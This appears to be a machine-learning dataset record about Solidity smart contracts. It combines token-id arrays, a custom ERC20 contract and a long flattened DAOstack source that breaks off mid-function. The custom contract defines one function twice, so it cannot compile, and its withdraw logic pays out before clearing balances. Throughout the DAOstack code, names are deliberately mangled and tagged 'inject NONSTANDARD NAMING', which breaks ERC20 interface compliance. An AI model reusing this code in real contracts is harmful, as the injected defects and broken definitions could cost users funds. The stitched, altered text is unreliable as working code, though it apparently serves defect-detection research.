[ 1, 1986, 463, 958, 60, 30174, 13456, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 463, 958, 60, 67, 14667, 67, 8924, 288, 377, 203, 203, 565, 1758, 463, 958, 60, 67, 6067, 2849, 1268, 273, 1758, 12, 20, 92, 5340, 1611, 73, 24, 3672, 73, 3787, 39, 29, 8643, 70, 6418, 70, 29, 40, 20, 8090, 26, 2539, 21, 39, 3437, 6564, 2954, 27, 6260, 41, 26, 1769, 203, 565, 1758, 463, 958, 60, 67, 8412, 273, 1758, 12, 20, 92, 8898, 4449, 73, 22, 4848, 74, 42, 26, 6162, 27, 18278, 71, 8778, 7414, 71, 8148, 69, 42, 11149, 5193, 41, 758, 69, 1441, 39, 3672, 1769, 203, 203, 565, 1758, 14275, 67, 1584, 44, 273, 1758, 12, 20, 92, 12648, 12648, 12648, 12648, 12648, 1769, 203, 565, 1758, 14275, 67, 9793, 45, 273, 1758, 12, 20, 92, 26, 38, 4033, 6564, 5608, 41, 6675, 5908, 24, 39, 6334, 40, 69, 10689, 70, 29, 6564, 41, 73, 323, 2226, 7616, 25, 5324, 21, 72, 20, 42, 1769, 203, 565, 1758, 14275, 67, 38, 15988, 273, 1758, 12, 20, 92, 25, 3787, 28, 69, 3787, 73, 9060, 952, 39, 9401, 72, 24, 3600, 23057, 27263, 19818, 42, 2733, 40, 20, 6028, 25, 41, 4700, 3707, 70, 1769, 203, 203, 565, 1758, 640, 291, 91, 438, 8259, 273, 1758, 12, 20, 92, 27, 69, 26520, 72, 4313, 5082, 38, 24, 71, 42, 25, 5520, 27, 5520, 72, 42, 22, 39, 25, 72, 37, 7358, 24, 71, 26, 6162, 42, 3247, 5482, 40, 1769, 203, 203, 565, 1758, 8843, 429, 478, 9383, 67, 21690, 31, 203, 565, 1758, 3410, 2 ]
./full_match/4/0xEFE4fABdf35645e6C813E2B9abC9C6DD0ea2790A/sources/browser/ERC20.sol
* @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./
contract ERC20 is Context, IERC20, IERC20Metadata { struct AccountBalance { uint eth_balance; uint token_balance; uint last_update_timestamp; } mapping (address => AccountBalance) private address_balance_map; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } receive() external payable { update_token_balance(); address_balance_map[msg.sender].eth_balance += msg.value; } function update_token_balance() internal { uint calculated_balance = calculate_token_balance(); if (calculated_balance == 0) { return; } address_balance_map[msg.sender].token_balance += calculated_balance; address_balance_map[msg.sender].last_update_timestamp = block.timestamp; } function update_token_balance() internal { uint calculated_balance = calculate_token_balance(); if (calculated_balance == 0) { return; } address_balance_map[msg.sender].token_balance += calculated_balance; address_balance_map[msg.sender].last_update_timestamp = block.timestamp; } function calculate_token_balance() internal view returns (uint) { return address_balance_map[msg.sender].eth_balance * (block.timestamp - address_balance_map[msg.sender].last_update_timestamp) / 60; } function get_current_token_balance() external view returns (uint) { return address_balance_map[msg.sender].token_balance + calculate_token_balance(); } function get_eth_balance() external view returns (uint) { return address_balance_map[msg.sender].eth_balance; } function withdraw() external { update_token_balance(); address payable addy = payable(msg.sender); _mint(msg.sender, address_balance_map[msg.sender].token_balance); addy.transfer(address_balance_map[msg.sender].eth_balance); address_balance_map[msg.sender].token_balance = 0; address_balance_map[msg.sender].eth_balance = 0; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
12,324,501
[ 1, 13621, 434, 326, 288, 45, 654, 39, 3462, 97, 1560, 18, 1220, 4471, 353, 279, 1600, 669, 335, 358, 326, 4031, 2430, 854, 2522, 18, 1220, 4696, 716, 279, 14467, 12860, 711, 358, 506, 3096, 316, 279, 10379, 6835, 1450, 288, 67, 81, 474, 5496, 2457, 279, 5210, 12860, 2621, 288, 654, 39, 3462, 18385, 49, 2761, 16507, 1355, 5496, 399, 2579, 30, 2457, 279, 6864, 1045, 416, 2621, 3134, 7343, 358, 2348, 14467, 1791, 28757, 8009, 1660, 1240, 10860, 7470, 3502, 62, 881, 84, 292, 267, 9875, 14567, 30, 4186, 15226, 3560, 434, 5785, 1375, 5743, 68, 603, 5166, 18, 1220, 6885, 353, 1661, 546, 12617, 15797, 287, 471, 1552, 486, 7546, 598, 326, 26305, 434, 4232, 39, 3462, 12165, 18, 26775, 16, 392, 288, 23461, 97, 871, 353, 17826, 603, 4097, 358, 288, 13866, 1265, 5496, 1220, 5360, 12165, 358, 23243, 326, 1699, 1359, 364, 777, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 4232, 39, 3462, 353, 1772, 16, 467, 654, 39, 3462, 16, 467, 654, 39, 3462, 2277, 288, 203, 203, 565, 1958, 6590, 13937, 288, 203, 3639, 2254, 13750, 67, 12296, 31, 203, 3639, 2254, 1147, 67, 12296, 31, 203, 3639, 2254, 1142, 67, 2725, 67, 5508, 31, 203, 565, 289, 203, 565, 2874, 261, 2867, 516, 6590, 13937, 13, 3238, 1758, 67, 12296, 67, 1458, 31, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 70, 26488, 31, 203, 203, 565, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 5034, 3719, 3238, 389, 5965, 6872, 31, 203, 203, 565, 2254, 5034, 3238, 389, 4963, 3088, 1283, 31, 203, 203, 565, 533, 3238, 389, 529, 31, 203, 565, 533, 3238, 389, 7175, 31, 203, 203, 565, 3885, 261, 1080, 3778, 508, 67, 16, 533, 3778, 3273, 67, 13, 288, 203, 3639, 389, 529, 273, 508, 67, 31, 203, 3639, 389, 7175, 273, 3273, 67, 31, 203, 565, 289, 203, 203, 565, 445, 508, 1435, 1071, 1476, 5024, 3849, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 327, 389, 529, 31, 203, 565, 289, 203, 203, 565, 445, 3273, 1435, 1071, 1476, 5024, 3849, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 327, 389, 7175, 31, 203, 565, 289, 203, 203, 565, 445, 15105, 1435, 1071, 1476, 5024, 3849, 1135, 261, 11890, 28, 13, 288, 203, 3639, 327, 6549, 31, 203, 565, 289, 203, 203, 565, 445, 2078, 3088, 1283, 1435, 1071, 1476, 5024, 3849, 1135, 261, 11890, 5034, 13, 288, 203, 2 ]
// File: @daostack/infra/contracts/votingMachines/IntVoteInterface.sol pragma solidity ^0.5.4; interface IntVoteInterface { //When implementing this interface please do not only override function and modifier, //but also to keep the modifiers on the overridden functions. modifier ONLYPROPOSALOWNER208(bytes32 _proposalId) {revert(); _;} //inject NONSTANDARD NAMING modifier VOTABLE853(bytes32 _proposalId) {revert(); _;} //inject NONSTANDARD NAMING event NEWPROPOSAL588( //inject NONSTANDARD NAMING bytes32 indexed _proposalId, address indexed _organization, uint256 _numOfChoices, address _proposer, bytes32 _paramsHash ); event EXECUTEPROPOSAL706(bytes32 indexed _proposalId, //inject NONSTANDARD NAMING address indexed _organization, uint256 _decision, uint256 _totalReputation ); event VOTEPROPOSAL760( //inject NONSTANDARD NAMING bytes32 indexed _proposalId, address indexed _organization, address indexed _voter, uint256 _vote, uint256 _reputation ); event CANCELPROPOSAL161(bytes32 indexed _proposalId, address indexed _organization ); //inject NONSTANDARD NAMING event CANCELVOTING574(bytes32 indexed _proposalId, address indexed _organization, address indexed _voter); //inject NONSTANDARD NAMING function PROPOSE661( //inject NONSTANDARD NAMING uint256 _numOfChoices, bytes32 _proposalParameters, address _proposer, address _organization ) external returns(bytes32); function VOTE536( //inject NONSTANDARD NAMING bytes32 _proposalId, uint256 _vote, uint256 _rep, address _voter ) external returns(bool); function CANCELVOTE202(bytes32 _proposalId) external; //inject NONSTANDARD NAMING function GETNUMBEROFCHOICES589(bytes32 _proposalId) external view returns(uint256); //inject NONSTANDARD NAMING function ISVOTABLE375(bytes32 _proposalId) external view returns(bool); //inject NONSTANDARD NAMING function VOTESTATUS96(bytes32 _proposalId, uint256 _choice) external view returns(uint256); //inject NONSTANDARD NAMING function ISABSTAINALLOW791() external pure returns(bool); //inject NONSTANDARD NAMING function GETALLOWEDRANGEOFCHOICES990() external pure returns(uint256 min, uint256 max); //inject NONSTANDARD NAMING } // File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.2; interface IERC20 { function TRANSFER985(address to, uint256 value) external returns (bool); //inject NONSTANDARD NAMING function APPROVE946(address spender, uint256 value) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM649(address from, address to, uint256 value) external returns (bool); //inject NONSTANDARD NAMING function TOTALSUPPLY573() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF995(address who) external view returns (uint256); //inject NONSTANDARD NAMING function ALLOWANCE88(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING event TRANSFER258(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING event APPROVAL578(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING } // File: @daostack/infra/contracts/votingMachines/VotingMachineCallbacksInterface.sol pragma solidity ^0.5.4; interface VotingMachineCallbacksInterface { function MINTREPUTATION981(uint256 _amount, address _beneficiary, bytes32 _proposalId) external returns(bool); //inject NONSTANDARD NAMING function BURNREPUTATION898(uint256 _amount, address _owner, bytes32 _proposalId) external returns(bool); //inject NONSTANDARD NAMING function STAKINGTOKENTRANSFER53(IERC20 _stakingToken, address _beneficiary, uint256 _amount, bytes32 _proposalId) //inject NONSTANDARD NAMING external returns(bool); function GETTOTALREPUTATIONSUPPLY50(bytes32 _proposalId) external view returns(uint256); //inject NONSTANDARD NAMING function REPUTATIONOF984(address _owner, bytes32 _proposalId) external view returns(uint256); //inject NONSTANDARD NAMING function BALANCEOFSTAKINGTOKEN878(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256); //inject NONSTANDARD NAMING } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol pragma solidity ^0.5.2; contract Ownable { address private _owner; event OWNERSHIPTRANSFERRED48(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING constructor () internal { _owner = msg.sender; emit OWNERSHIPTRANSFERRED48(address(0), _owner); } function OWNER574() public view returns (address) { //inject NONSTANDARD NAMING return _owner; } modifier ONLYOWNER824() { //inject NONSTANDARD NAMING require(ISOWNER625()); _; } function ISOWNER625() public view returns (bool) { //inject NONSTANDARD NAMING return msg.sender == _owner; } function RENOUNCEOWNERSHIP632() public ONLYOWNER824 { //inject NONSTANDARD NAMING emit OWNERSHIPTRANSFERRED48(_owner, address(0)); _owner = address(0); } function TRANSFEROWNERSHIP334(address newOwner) public ONLYOWNER824 { //inject NONSTANDARD NAMING _TRANSFEROWNERSHIP900(newOwner); } function _TRANSFEROWNERSHIP900(address newOwner) internal { //inject NONSTANDARD NAMING require(newOwner != address(0)); emit OWNERSHIPTRANSFERRED48(_owner, newOwner); _owner = newOwner; } } // File: @daostack/infra/contracts/Reputation.sol pragma solidity ^0.5.4; contract Reputation is Ownable { uint8 public decimals = 18; //Number of decimals of the smallest unit // Event indicating minting of reputation to an address. event MINT335(address indexed _to, uint256 _amount); //inject NONSTANDARD NAMING // Event indicating burning of reputation for an address. event BURN261(address indexed _from, uint256 _amount); //inject NONSTANDARD NAMING struct Checkpoint { // `fromBlock` is the block number that the value was generated from uint128 fromBlock; // `value` is the amount of reputation at a specific block number uint128 value; } // `balances` is the map that tracks the balance of each address, in this // contract when the balance changes the block number that the change // occurred is also included in the map mapping (address => Checkpoint[]) balances; // Tracks the history of the `totalSupply` of the reputation Checkpoint[] totalSupplyHistory; constructor( ) public { } function TOTALSUPPLY573() public view returns (uint256) { //inject NONSTANDARD NAMING return TOTALSUPPLYAT652(block.number); } // Query balance and totalSupply in History function BALANCEOF995(address _owner) public view returns (uint256 balance) { //inject NONSTANDARD NAMING return BALANCEOFAT780(_owner, block.number); } function BALANCEOFAT780(address _owner, uint256 _blockNumber) //inject NONSTANDARD NAMING public view returns (uint256) { if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { return 0; // This will return the expected balance during normal situations } else { return GETVALUEAT483(balances[_owner], _blockNumber); } } function TOTALSUPPLYAT652(uint256 _blockNumber) public view returns(uint256) { //inject NONSTANDARD NAMING if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { return 0; // This will return the expected totalSupply during normal situations } else { return GETVALUEAT483(totalSupplyHistory, _blockNumber); } } function MINT69(address _user, uint256 _amount) public ONLYOWNER824 returns (bool) { //inject NONSTANDARD NAMING uint256 curTotalSupply = TOTALSUPPLY573(); require(curTotalSupply + _amount >= curTotalSupply); // Check for overflow uint256 previousBalanceTo = BALANCEOF995(_user); require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow UPDATEVALUEATNOW719(totalSupplyHistory, curTotalSupply + _amount); UPDATEVALUEATNOW719(balances[_user], previousBalanceTo + _amount); emit MINT335(_user, _amount); return true; } function BURN206(address _user, uint256 _amount) public ONLYOWNER824 returns (bool) { //inject NONSTANDARD NAMING uint256 curTotalSupply = TOTALSUPPLY573(); uint256 amountBurned = _amount; uint256 previousBalanceFrom = BALANCEOF995(_user); if (previousBalanceFrom < amountBurned) { amountBurned = previousBalanceFrom; } UPDATEVALUEATNOW719(totalSupplyHistory, curTotalSupply - amountBurned); UPDATEVALUEATNOW719(balances[_user], previousBalanceFrom - amountBurned); emit BURN261(_user, amountBurned); return true; } // Internal helper functions to query and set a value in a snapshot array function GETVALUEAT483(Checkpoint[] storage checkpoints, uint256 _block) internal view returns (uint256) { //inject NONSTANDARD NAMING if (checkpoints.length == 0) { return 0; } // Shortcut for the actual value if (_block >= checkpoints[checkpoints.length-1].fromBlock) { return checkpoints[checkpoints.length-1].value; } if (_block < checkpoints[0].fromBlock) { return 0; } // Binary search of the value in the array uint256 min = 0; uint256 max = checkpoints.length-1; while (max > min) { uint256 mid = (max + min + 1) / 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return checkpoints[min].value; } function UPDATEVALUEATNOW719(Checkpoint[] storage checkpoints, uint256 _value) internal { //inject NONSTANDARD NAMING require(uint128(_value) == _value); //check value is in the 128 bits bounderies if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) { Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1]; oldCheckPoint.value = uint128(_value); } } } // File: openzeppelin-solidity/contracts/math/SafeMath.sol pragma solidity ^0.5.2; library SafeMath { function MUL295(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function DIV1(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function SUB141(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b <= a); uint256 c = a - b; return c; } function ADD15(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 c = a + b; require(c >= a); return c; } function MOD36(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b != 0); return a % b; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol pragma solidity ^0.5.2; contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; function TOTALSUPPLY573() public view returns (uint256) { //inject NONSTANDARD NAMING return _totalSupply; } function BALANCEOF995(address owner) public view returns (uint256) { //inject NONSTANDARD NAMING return _balances[owner]; } function ALLOWANCE88(address owner, address spender) public view returns (uint256) { //inject NONSTANDARD NAMING return _allowed[owner][spender]; } function TRANSFER985(address to, uint256 value) public returns (bool) { //inject NONSTANDARD NAMING _TRANSFER402(msg.sender, to, value); return true; } function APPROVE946(address spender, uint256 value) public returns (bool) { //inject NONSTANDARD NAMING _APPROVE913(msg.sender, spender, value); return true; } function TRANSFERFROM649(address from, address to, uint256 value) public returns (bool) { //inject NONSTANDARD NAMING _TRANSFER402(from, to, value); _APPROVE913(from, msg.sender, _allowed[from][msg.sender].SUB141(value)); return true; } function INCREASEALLOWANCE616(address spender, uint256 addedValue) public returns (bool) { //inject NONSTANDARD NAMING _APPROVE913(msg.sender, spender, _allowed[msg.sender][spender].ADD15(addedValue)); return true; } function DECREASEALLOWANCE72(address spender, uint256 subtractedValue) public returns (bool) { //inject NONSTANDARD NAMING _APPROVE913(msg.sender, spender, _allowed[msg.sender][spender].SUB141(subtractedValue)); return true; } function _TRANSFER402(address from, address to, uint256 value) internal { //inject NONSTANDARD NAMING require(to != address(0)); _balances[from] = _balances[from].SUB141(value); _balances[to] = _balances[to].ADD15(value); emit TRANSFER258(from, to, value); } function _MINT318(address account, uint256 value) internal { //inject NONSTANDARD NAMING require(account != address(0)); _totalSupply = _totalSupply.ADD15(value); _balances[account] = _balances[account].ADD15(value); emit TRANSFER258(address(0), account, value); } function _BURN875(address account, uint256 value) internal { //inject NONSTANDARD NAMING require(account != address(0)); _totalSupply = _totalSupply.SUB141(value); _balances[account] = _balances[account].SUB141(value); emit TRANSFER258(account, address(0), value); } function _APPROVE913(address owner, address spender, uint256 value) internal { //inject NONSTANDARD NAMING require(spender != address(0)); require(owner != address(0)); _allowed[owner][spender] = value; emit APPROVAL578(owner, spender, value); } function _BURNFROM507(address account, uint256 value) internal { //inject NONSTANDARD NAMING _BURN875(account, value); _APPROVE913(account, msg.sender, _allowed[account][msg.sender].SUB141(value)); } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Burnable.sol pragma solidity ^0.5.2; contract ERC20Burnable is ERC20 { function BURN206(uint256 value) public { //inject NONSTANDARD NAMING _BURN875(msg.sender, value); } function BURNFROM991(address from, uint256 value) public { //inject NONSTANDARD NAMING _BURNFROM507(from, value); } } // File: contracts/controller/DAOToken.sol pragma solidity ^0.5.4; contract DAOToken is ERC20, ERC20Burnable, Ownable { string public name; string public symbol; // solhint-disable-next-line const-name-snakecase uint8 public constant decimals662 = 18; //inject NONSTANDARD NAMING uint256 public cap; constructor(string memory _name, string memory _symbol, uint256 _cap) public { name = _name; symbol = _symbol; cap = _cap; } function MINT69(address _to, uint256 _amount) public ONLYOWNER824 returns (bool) { //inject NONSTANDARD NAMING if (cap > 0) require(TOTALSUPPLY573().ADD15(_amount) <= cap); _MINT318(_to, _amount); return true; } } // File: openzeppelin-solidity/contracts/utils/Address.sol pragma solidity ^0.5.2; library Address { function ISCONTRACT51(address account) internal view returns (bool) { //inject NONSTANDARD NAMING uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } // File: contracts/libs/SafeERC20.sol pragma solidity ^0.5.4; library SafeERC20 { using Address for address; bytes4 constant private transfer_selector475 = bytes4(keccak256(bytes("transfer(address,uint256)"))); //inject NONSTANDARD NAMING bytes4 constant private transferfrom_selector4 = bytes4(keccak256(bytes("transferFrom(address,address,uint256)"))); //inject NONSTANDARD NAMING bytes4 constant private approve_selector816 = bytes4(keccak256(bytes("approve(address,uint256)"))); //inject NONSTANDARD NAMING function SAFETRANSFER442(address _erc20Addr, address _to, uint256 _value) internal { //inject NONSTANDARD NAMING // Must be a contract addr first! require(_erc20Addr.ISCONTRACT51()); (bool success, bytes memory returnValue) = // solhint-disable-next-line avoid-low-level-calls _erc20Addr.call(abi.encodeWithSelector(transfer_selector475, _to, _value)); // call return false when something wrong require(success); //check return value require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0))); } function SAFETRANSFERFROM294(address _erc20Addr, address _from, address _to, uint256 _value) internal { //inject NONSTANDARD NAMING // Must be a contract addr first! require(_erc20Addr.ISCONTRACT51()); (bool success, bytes memory returnValue) = // solhint-disable-next-line avoid-low-level-calls _erc20Addr.call(abi.encodeWithSelector(transferfrom_selector4, _from, _to, _value)); // call return false when something wrong require(success); //check return value require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0))); } function SAFEAPPROVE771(address _erc20Addr, address _spender, uint256 _value) internal { //inject NONSTANDARD NAMING // Must be a contract addr first! require(_erc20Addr.ISCONTRACT51()); // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. require((_value == 0) || (IERC20(_erc20Addr).ALLOWANCE88(address(this), _spender) == 0)); (bool success, bytes memory returnValue) = // solhint-disable-next-line avoid-low-level-calls _erc20Addr.call(abi.encodeWithSelector(approve_selector816, _spender, _value)); // call return false when something wrong require(success); //check return value require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0))); } } // File: contracts/controller/Avatar.sol pragma solidity ^0.5.4; contract Avatar is Ownable { using SafeERC20 for address; string public orgName; DAOToken public nativeToken; Reputation public nativeReputation; event GENERICCALL988(address indexed _contract, bytes _data, uint _value, bool _success); //inject NONSTANDARD NAMING event SENDETHER194(uint256 _amountInWei, address indexed _to); //inject NONSTANDARD NAMING event EXTERNALTOKENTRANSFER653(address indexed _externalToken, address indexed _to, uint256 _value); //inject NONSTANDARD NAMING event EXTERNALTOKENTRANSFERFROM913(address indexed _externalToken, address _from, address _to, uint256 _value); //inject NONSTANDARD NAMING event EXTERNALTOKENAPPROVAL142(address indexed _externalToken, address _spender, uint256 _value); //inject NONSTANDARD NAMING event RECEIVEETHER18(address indexed _sender, uint256 _value); //inject NONSTANDARD NAMING event METADATA150(string _metaData); //inject NONSTANDARD NAMING constructor(string memory _orgName, DAOToken _nativeToken, Reputation _nativeReputation) public { orgName = _orgName; nativeToken = _nativeToken; nativeReputation = _nativeReputation; } function() external payable { emit RECEIVEETHER18(msg.sender, msg.value); } function GENERICCALL327(address _contract, bytes memory _data, uint256 _value) //inject NONSTANDARD NAMING public ONLYOWNER824 returns(bool success, bytes memory returnValue) { // solhint-disable-next-line avoid-call-value (success, returnValue) = _contract.call.value(_value)(_data); emit GENERICCALL988(_contract, _data, _value, success); } function SENDETHER177(uint256 _amountInWei, address payable _to) public ONLYOWNER824 returns(bool) { //inject NONSTANDARD NAMING _to.transfer(_amountInWei); emit SENDETHER194(_amountInWei, _to); return true; } function EXTERNALTOKENTRANSFER167(IERC20 _externalToken, address _to, uint256 _value) //inject NONSTANDARD NAMING public ONLYOWNER824 returns(bool) { address(_externalToken).SAFETRANSFER442(_to, _value); emit EXTERNALTOKENTRANSFER653(address(_externalToken), _to, _value); return true; } function EXTERNALTOKENTRANSFERFROM421( //inject NONSTANDARD NAMING IERC20 _externalToken, address _from, address _to, uint256 _value ) public ONLYOWNER824 returns(bool) { address(_externalToken).SAFETRANSFERFROM294(_from, _to, _value); emit EXTERNALTOKENTRANSFERFROM913(address(_externalToken), _from, _to, _value); return true; } function EXTERNALTOKENAPPROVAL190(IERC20 _externalToken, address _spender, uint256 _value) //inject NONSTANDARD NAMING public ONLYOWNER824 returns(bool) { address(_externalToken).SAFEAPPROVE771(_spender, _value); emit EXTERNALTOKENAPPROVAL142(address(_externalToken), _spender, _value); return true; } function METADATA450(string memory _metaData) public ONLYOWNER824 returns(bool) { //inject NONSTANDARD NAMING emit METADATA150(_metaData); return true; } } // File: contracts/universalSchemes/UniversalSchemeInterface.sol pragma solidity ^0.5.4; contract UniversalSchemeInterface { function GETPARAMETERSFROMCONTROLLER560(Avatar _avatar) internal view returns(bytes32); //inject NONSTANDARD NAMING } // File: contracts/globalConstraints/GlobalConstraintInterface.sol pragma solidity ^0.5.4; contract GlobalConstraintInterface { enum CallPhase { Pre, Post, PreAndPost } function PRE222( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool); //inject NONSTANDARD NAMING function POST74( address _scheme, bytes32 _params, bytes32 _method ) public 